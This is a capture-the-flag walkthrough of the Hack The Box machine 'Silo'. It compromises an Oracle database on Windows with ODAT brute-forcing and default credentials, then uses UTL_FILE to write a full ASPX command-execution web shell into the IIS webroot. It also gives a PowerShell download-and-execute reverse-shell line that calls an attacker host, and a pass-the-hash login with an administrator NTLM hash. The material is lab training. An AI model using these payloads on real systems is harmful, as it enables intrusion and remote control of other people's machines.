**Silo**

Difficulty: Medium

OS: Windows

**Nmap**

Doing an aggressive nmap scan, we see a number of windows ports open.

|  |
| --- |

**Enumeration**

Testing out RPC and SMB anonymous login, we are unable to authenticate.

Heading over to the website on port 80, we find a standard IIS server. First thing we do here is run a fuzz scan to find potential web directories.

While that runs, we also notice nmap reported oracle running on port 1521. Since we know nothing about the oracle instance, we are going to try finding its SID with a tool called ODAT. We simply plug in the ip and port that is running oracle to begin SID guessing (brute forcing).

Doing this, we find the SID of “XE”

| *python3 odat.py sidguesser -s 10.10.10.82 -p 1521* |
| --- |

From here we know oracle is the way to go

**Oracle with ODAT**

Now that we have the SID of the oracle instance, we are going to brute force the login still utilizing ODAT.

| python3 odat.py passwordguesser -s 10.10.10.82 -d XE |
| --- |

We find the default credentials “scott:tiger” are being used in oracle. Testing these out, we are able to connect to the database as a low privileged user.

| *Sqlplus64 scott/tiger@10.10.10.82/XE* |
| --- |

As it stands, we do not have many privileges. Attempting to find any sort of database comes back with nothing. We can, however, attempt to login with “sudo” privileges as a database administrator (sysdba).

| *Sqlplus64 scott/tiger@10.10.10.82/XE as sysdba* |
| --- |

We successfully login as “sudo” on the database and find we have more privileges than before.

To test out if file reading works we perform the following:

| *Set serverouput ON*  *declare*  *f utl\_file.file\_type;*  *s varchar(200);*  *begin*  *f := utl\_file.fopen('/inetpub/wwwroot', 'iisstart.htm', 'R');*  *utl\_file.get\_line(f,s);*  *utl\_file.fclose(f);*  *dbms\_output.put\_line(s);*  *end;*  */* |
| --- |

What this is doing is allowing output to be placed on our instance, thus allowing us to view file contents. As for the declaration, we are creating the variables f, a file, and s, a character buffer. The file we want is one we know will be on the system. For the case above, we are reading the basic iis text file containing information about it. We are using ‘R’ to read the file only. Once we have opened the file, we store it in the character buffer ‘s’, close the file, then output the contents of ‘s’ onto our screen.

Since we are running as the database administrator, it may be possible to also write files. If so, then we can create a file on the iis server that contains shellcode for us to use and gain RCE.

Testing this out, we create a file with commands similar to before, except we are making a file called “helloworld.txt” with content “test”. Doing all this, we successfully create a file on the server and see it run in the web browser.

| *declare*  *f utl\_file.file\_type;*  *s varchar(5000) := 'test';*  *begin*  *f := utl\_file.fopen('/inetpub/wwwroot', 'helloworld.txt', 'W');*  *utl\_file.put\_line(f,s);*  *utl\_file.fclose(f);*  *end;*  */* |
| --- |

The next logical step is to upload an aspx script to gain webshell and then RCE.

Running this, we get a successful page created

| *declare*  *2 f utl\_file.file\_type;*  *3 s varchar(5000) := '<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script Language="c#" runat="server">void Page\_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = "cmd.exe";psi.Arguments = "/c "+arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}void cmdExe\_Click(object sender, System.EventArgs e){Response.Write("<pre>");Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));Response.Write("</pre>");}</script><HTML><body ><form id="cmd" method="post" runat="server"><asp:TextBox id="txtArg" runat="server" Width="250px"></asp:TextBox><asp:Button id="testing" runat="server" Text="excute" OnClick="cmdExe\_Click"></asp:Button><asp:Label id="lblText" runat="server">Command:</asp:Label></form></body></HTML>';*  *4 begin*  *5 f := utl\_file.fopen('/inetpub/wwwroot', 'ex.aspx', 'W');*  *6 utl\_file.put\_line(f,s);*  *7 utl\_file.fclose(f);*  *8 end;*  *9 /* |
| --- |

First thing we do is send a reverse shell back to us for easier enumeration

| *powershell iex(new-object net.webclient).downloadstring('http://10.10.14.34:8000/Invoke-PowerShellTcp.ps1')* |
| --- |

**Privilege Escalation**

As our webshell user, we are able to access user “phineas” and their workstation. Inside their desktop is the user flag, but also a file called “Oracle issue.txt”. This file contains a link to a dropbox and the password is provided.

|  |
| --- |

Going to this site, we are presented with a password prompt

|  |
| --- |

The password does not seem to work.

On Ippsec’s video, he explains that the first character we see, the ‘?’ is not actually a question mark. It is a foreign character. The way he got the correct password was by base64 encoding the file then transferring it to his machine where he decoded it. This strange character occurred due to differences in encoding.

To conver to base64 in powershell, we perform the following commands

| *$fc = Get-Content "Oracle Issue.txt"*  *$fe = [System.Text.Encoding]::UTF8.GetBytes($fc)* |
| --- |

Taking the base64 encoded message to our local machine, we finally see the correct dropbox password contains the British Pound symbol.

| *base64 -d b64.txt* |
| --- |

The password is “**£%Hm8646uC$**”

Once inside, we find a single file with the “dmp” extension. The note earlier mentioned this was a memory dumb, so it may contain password hashes.

|  |
| --- |

We download and unzip this file to get the “dmp” file.

|  |
| --- |

To analyze the dmp file, we use volatility. First we need to get the image OS, then use this information to add more information to the command and dump hashes.

| *python vol.py -f /root/htb/silo/SILO-20180105-221806.dmp imageinfo* |
| --- |

I spent a long time trying to get volatility to work, but nothing functioned properly. We were going to find what OS image was being used in the dump file, then specify that image in the next command and dump hashes. The hashes dumped contain the administrator LM and NTLM hashes which we use to root the machine

| *pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 //10.10.10.82 cmd* |
| --- |

**Downloading ODAT**

Go to the ODAT github and clone the repo in a desired location. Then, inside the repo, execute these:

| *git submodule init*  *git submodule update* |
| --- |

Next, install some python packages.

| *sudo apt-get install libaio1 python3-dev alien python3-pip* |
| --- |

Now we need to install the Oracle client, sdk (development) and sqlplus from the oracle website. The website is:

<https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html>

We download these RPM packages:

|  |
| --- |

Once downloaded, we need to convert the RPM packages into DEB packages. RPM is used on redhat which is a different architecture. To do this, we execute:

| *alien --to-deb \*.rpm* |
| --- |

To install the newly created DEB packages, we do:

| *Dpkg -i \*.deb* |
| --- |

Now we need to add a path to our **/etc/profile**. Under root, we place the home path of oracle.

| *export ORACLE\_HOME=/usr/lib/oracle/21/client64/*  *export LD\_LIBRARY\_PATH=$LD\_LIBRARY\_PATH:$ORACLE\_HOME/lib*  *export PATH=${ORACLE\_HOME}bin:$PATH* |
| --- |

NOTE: the directory may change based on the installed oracle version. To check what version, go to “**/usr/lib/oracle/?????”** where the question marks are the version

Lastly, install a python library

| *pip3 install cx\_Oracle* |
| --- |

Finally reboot the machine and odat should be installed